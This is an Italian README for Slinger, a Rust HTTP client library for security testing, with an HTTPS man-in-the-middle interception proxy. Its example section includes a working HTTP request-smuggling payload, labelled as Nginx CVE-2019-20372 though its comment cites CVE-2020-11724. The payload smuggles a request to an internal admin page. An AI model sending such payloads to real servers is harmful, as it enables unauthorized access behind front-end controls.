Informazioni sul Progetto

Product Name Screen Shot

Slinger è uno workspace che contiene:

slinger

La libreria client HTTP core per Rust progettata per hacker.

policy di redirect personalizzabile
proxy http/https e socks5/socks5h
cookie store
richiesta raw su socket
HTTPS tramite TLS

slinger-mitm

Un proxy Man-in-the-Middle (MITM) con intercettazione trasparente del traffico HTTPS, simile a Burp Suite.

Generazione automatica del certificato CA con una gestione dei certificati migliorata (ispirata a hudsucker)
Cache dei certificati per alte prestazioni
Intercettazione trasparente HTTPS tramite backend rustls
Interfacce per l'intercettazione e la modifica del traffico
Numeri di serie casuali e gestione del clock skew
Riutilizza l'implementazione Socket di slinger
Dipendenze esterne minime

(torna su)

Per Iniziare

Usare slinger (Client HTTP)

Questo esempio abilita alcune funzionalità opzionali, quindi il tuo Cargo.toml potrebbe essere così:

[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

E poi il codice:

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

Usare slinger-mitm (Proxy MITM)

Aggiungi al tuo Cargo.toml:

[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

Codice di esempio:

use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

Consulta slinger-mitm/README.md per maggiori dettagli sull'uso del proxy MITM.

Caratteristiche

Slinger supporta le seguenti funzionalità opzionali:

tls - Funzionalità TLS di base (abilita tipi e interfacce TLS senza un backend specifico)
rustls - Supporto HTTPS tramite Rustls (richiede tls, implementazione puramente Rust)
http2 - Supporto del protocollo HTTP/2 (richiede un backend TLS)
cookie - Supporto per la gestione dei cookie
charset - Supporto per la codifica dei caratteri
serde - Supporto per serializzazione/deserializzazione
gzip - Supporto per la compressione gzip
schema - Supporto per JSON Schema

Selezione del Backend TLS

Per usare TLS, devi:

Abilitare la funzionalità tls
Scegliere il backend rustls, OPPURE fornire un connettore TLS personalizzato

Combinazioni di funzionalità di esempio:

# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

Backend TLS Personalizzato (es. native-tls, OpenSSL)

Se vuoi usare native-tls, OpenSSL o altre librerie TLS, puoi implementare un connettore TLS personalizzato. Vedi native_tls_example.rs per un esempio completo su come integrare native-tls.

Esempio

Nginx - Http Smuggling CVE-2019-20372

use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

Per altri esempi, fai riferimento all'esempio

(torna su)

Contribuire

I contributi sono ciò che rende la community open source un posto fantastico per imparare, ispirare e creare. Ogni contributo che fai è molto apprezzato.

Se hai un suggerimento che potrebbe migliorare il progetto, per favore fai il fork del repository e crea una pull request. Puoi anche semplicemente aprire un issue con il tag "enhancement". Non dimenticare di dare una stella al progetto! Grazie ancora!

Fork del Progetto
Crea il tuo Branch per la Funzionalità (git checkout -b feature/AmazingFeature)
Committa le tue Modifiche (git commit -m 'Add some AmazingFeature')
Push sul Branch (git push origin feature/AmazingFeature)
Apri una Pull Request

(torna su)